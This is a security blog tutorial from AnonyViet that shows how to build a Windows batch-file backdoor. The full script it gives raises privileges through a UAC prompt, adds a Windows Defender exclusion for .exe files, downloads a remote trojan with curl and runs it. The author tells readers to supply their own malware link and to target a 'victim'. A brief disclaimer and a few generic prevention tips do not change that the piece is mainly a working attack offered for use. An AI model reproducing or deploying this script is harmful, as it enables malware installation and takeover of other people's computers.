• Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
AnonyViet - English Version
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
AnonyViet - English Version
No Result
View All Result

How to create a simple Backdoor with CMD

AnonyViet by AnonyViet
January 6, 2023
in Security
0

As we all know, in the cybersecurity industry, Backdoor is a malicious software that bypasses the authentication in a certain system, gaining unauthorized access. Not only that, hackers also use it to steal data, attack networks, etc. And today, I will guide you to create a simple Backdoor with just a simple Batch script. For those of you who do not know about Backdoor, please read this paragraph or you can find out here. Alright, let’s get to the point

Note: This article is for educational purposes only. Any illegal acts Anonyviet will not bear the full responsibility that you have caused

How to Create a Simple Backdoor with Just One Batch Script

To create a Backdoor, first create a file with the extension .bat and then copy the following code

create simple Backdoor with Bacth file

@echo off

>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"

if '%errorlevel%' NEQ '0' (
    goto UACPrompt
) else ( goto gotAdmin )

:UACPrompt
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
    set params = %*:"=""
    echo UAC.ShellExecute "cmd.exe", "/c %~s0 %params%", "", "runas", 1 >> "%temp%\getadmin.vbs"

    "%temp%\getadmin.vbs"
    del "%temp%\getadmin.vbs"
    exit /B

:gotAdmin
    pushd "%CD%"
    CD /D "%~dp0"
Powershell -Command "Set-MpPreference -ExclusionExtension exe"
cd %TEMP%
curl "paste link backdoor của bạn ở đây" -o rat.exe
rat.exe

In the above code, we need to change a bit in the second line of code from the bottom, please create a direct download link to your computer, make sure that the link contains trojan virus, malware, etc. you want, next name the backdoor that you want to download to the victim’s computer, I’ll name it rat.exe So we have created the Backdoor. Now I will explain how it works

The way it works is as follows:

This script grants administrator privileges, then downloads and executes a file named “rat.exe” from a remote server. First, I used the cacls command to check the above permissions. the system file is located at “%SYSTEMROOT%\system32\config\system”. If the command fails, the script will switch to the UACPrompt label, which will generate a VB (Visual Basic) script that prompts the victim to run the script with administrator privileges. If the cacls command gives no errors then the script jumps to the gotAdmin label and proceeds to execute the rest. We can see that the label gotAdmin changes to the directory containing the pushd and CD commands. It will then run a PowerShell command to set the option for file exclusion extensions to exe. Finally, it switches to the %TEMP% directory and uses the curl command to download “rat.exe” from a remote server. It will then run the downloaded file using the rat.exe command.

Thus, this Backdoor works very simply, if the machine installs 2 or more Antivirus, this Backdoor becomes useless and the victim will detect it. Here are some ways to prevent Backdoor for everyone to know and avoid

How to prevent Backdoor

1.Verify the origin and authenticity of any file or program before running

2.Update the latest anti-virus software versions

3.Do not download unknown software

4.Use Firewall

This is the end of the article, I hope you learn something from this article. Wishing you all a very nice day!

You can also read more articles Villain – Bypass AntiVirus hijacks Windows and Linux shells at website Anonyviet.com

Rate this post

Tags: BackdoorCMDcreatesimple
Previous Post

How to Mod Skin Free Fire Full weapons, Full costumes is extremely easy!

Next Post

What is Erotomania? A mental disorder when in love

AnonyViet

AnonyViet

Related Posts

How to use hackers use Splitfus to execute PowerShell malicious code
Security

How to use hackers use Splitfus to execute PowerShell malicious code

July 20, 2025
How to implement Shellcode Injection attack technique with Autoit
Security

How to implement Shellcode Injection attack technique with Autoit

March 14, 2025
How to exploit the holy hole of Hijacking on Windows
Security

How to exploit the holy hole of Hijacking on Windows

March 8, 2025
Hamamal: Shellcode execution technique from afar to overcome Antivirus's discovery
Security

Hamamal: Shellcode execution technique from afar to overcome Antivirus's discovery

February 10, 2025
Snov.io Email Finder: Search emails with only company name/domain name/LinkedIn profile
Security

Snov.io Email Finder: Search emails with only company name/domain name/LinkedIn profile

December 14, 2024
Capsolver: Automatic solution solution for business
Security

Capsolver: Automatic solution solution for business

December 12, 2024
Next Post
What is Erotomania?  A mental disorder when in love

What is Erotomania? A mental disorder when in love

0 0 votes
Article Rating
Subscribe
Login
Notify of
guest

guest

0 Comments
Oldest
Newest Most Voted
Inline Feedbacks
View all comments

Recent News

How to add application to your favorite bar

How to add application to your favorite bar

August 14, 2025
Wowhay.com – The door opens the world of modern knowledge and network culture

Wowhay.com – The door opens the world of modern knowledge and network culture

August 13, 2025
Instructions on how to fix Screen Time Limited Reached on RoBlox

Instructions on how to fix Screen Time Limited Reached on RoBlox

August 13, 2025
How to install GPT-suns on who do not need the Internet

How to install GPT-suns on who do not need the Internet

August 12, 2025
How to add application to your favorite bar

How to add application to your favorite bar

August 14, 2025
Wowhay.com – The door opens the world of modern knowledge and network culture

Wowhay.com – The door opens the world of modern knowledge and network culture

August 13, 2025
Instructions on how to fix Screen Time Limited Reached on RoBlox

Instructions on how to fix Screen Time Limited Reached on RoBlox

August 13, 2025
AnonyViet - English Version

AnonyViet

AnonyViet is a website share knowledge that you have never learned in school!

We are ready to welcome your comments, as well as your articles sent to AnonyViet.

Follow Us

Contact:

Email: anonyviet.com[@]gmail.com

Main Website: https://anonyviet.com

Recent News

How to add application to your favorite bar

How to add application to your favorite bar

August 14, 2025
Wowhay.com – The door opens the world of modern knowledge and network culture

Wowhay.com – The door opens the world of modern knowledge and network culture

August 13, 2025
  • Home
  • Home 2
  • Home 3
  • Home 4
  • Home 5
  • Home 6
  • Next Dest Page
  • Sample Page

©2024 AnonyVietFor Knowledge kqxs hôm nay xem phim miễn phí mm88 8XBET mm88 trang chủ new88

No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office

©2024 AnonyVietFor Knowledge kqxs hôm nay xem phim miễn phí mm88 8XBET mm88 trang chủ new88

wpDiscuz
0
0
Would love your thoughts, please comment.x
()
x
| Reply